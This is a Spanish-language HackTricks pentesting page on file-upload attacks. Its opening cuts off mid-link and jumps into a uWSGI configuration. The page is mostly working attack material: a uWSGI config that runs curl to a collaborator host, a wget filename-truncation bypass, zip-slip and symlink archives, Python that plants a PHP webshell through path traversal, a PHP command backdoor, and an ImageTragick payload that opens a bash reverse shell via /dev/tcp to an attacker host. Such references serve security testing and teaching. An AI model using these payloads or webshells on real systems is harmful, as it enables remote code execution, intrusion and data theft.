hacktricks/pentesting-web/file-upload
2023-06-07 04:36:55 +00:00
..
pdf-upload-xxe-and-cors-bypass.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:36:55 +00:00

Subida de archivos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. Únete a nosotros en [https://go.intigriti.com/hacktricks](https://go.int

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Cuando el archivo de configuración sea analizado, el payload será ejecutado. Tenga en cuenta que para que la configuración sea analizada, el proceso debe ser reiniciado (¿crash? ¿DoS?) o el archivo recargado automáticamente (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).

Nota importante: El análisis de archivos de configuración de uWSGI es laxo. El payload anterior puede estar incrustado dentro de un archivo binario (por ejemplo, imagen, pdf, ...).

Truco de carga de archivos / SSRF de wget

En algunas ocasiones puede encontrar que un servidor está utilizando wget para descargar archivos y puede indicar la URL. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados está dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, esta comprobación puede ser evitada.
La longitud máxima de un nombre de archivo en Linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puede descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo evitará la comprobación (como en este ejemplo ".gif" es una extensión válida) pero wget renombrará el archivo a "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s      

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Tenga en cuenta que otra opción que puede estar considerando para evitar esta comprobación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial evite la comprobación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se use con el parámetro --trust-server-names porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.

Otros recursos

Desde la carga de archivos hasta otras vulnerabilidades

Aquí hay una lista de los 10 principales cosas que puede lograr cargando archivos (de enlace):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Extensión de Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

Bytes de encabezado mágico

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para otros tipos de archivos.

Carga automática de archivos Zip/Tar descomprimidos

Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:

Enlace simbólico

Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, accediendo a los archivos descomprimidos, accederá a los archivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descomprimir en diferentes carpetas

Los archivos descomprimidos se crearán en carpetas inesperadas.

Uno podría fácilmente asumir que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de nivel superior, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.

Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

También puedes usar el truco del symlink con evilarc, si la bandera está en /flag.txt asegúrate de crear un symlink a ese archivo y crear ese archivo en tu sistema para que cuando llames a evilarc no genere un error.

Algun código en Python para crear un zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close() 

create_zip()

Para lograr la ejecución remota de comandos, seguí los siguientes pasos:

  1. Creé una shell PHP:
<?php 
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>
  1. Utilice la técnica de "file spraying" y cree un archivo zip comprimido:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. Usa un editor hexadecimal o vi y cambia "xxA" por "../", yo usé vi:
:set modifiable
:%s/xxA/..\//g
:x!

¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de shell de comando del sistema:

b1

Referencia: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

Carga este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick, 7.0.1-1).

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incrustación de Shell PHP en PNG

La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evitar las operaciones de cambio de tamaño y re-muestreo - PHP-GD contiene dos funciones para hacer esto imagecopyresized y imagecopyresampled.

Lee este post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Archivos Políglotos

Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un GIFAR es tanto un archivo GIF como un archivo RAR. También hay archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.

Los archivos políglotos se utilizan a menudo para evitar la protección basada en tipos de archivo. Muchas aplicaciones que permiten a los usuarios cargar archivos sólo permiten la carga de ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.

Esto ayuda a cargar un archivo que cumpla con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.

Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo, ¡y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥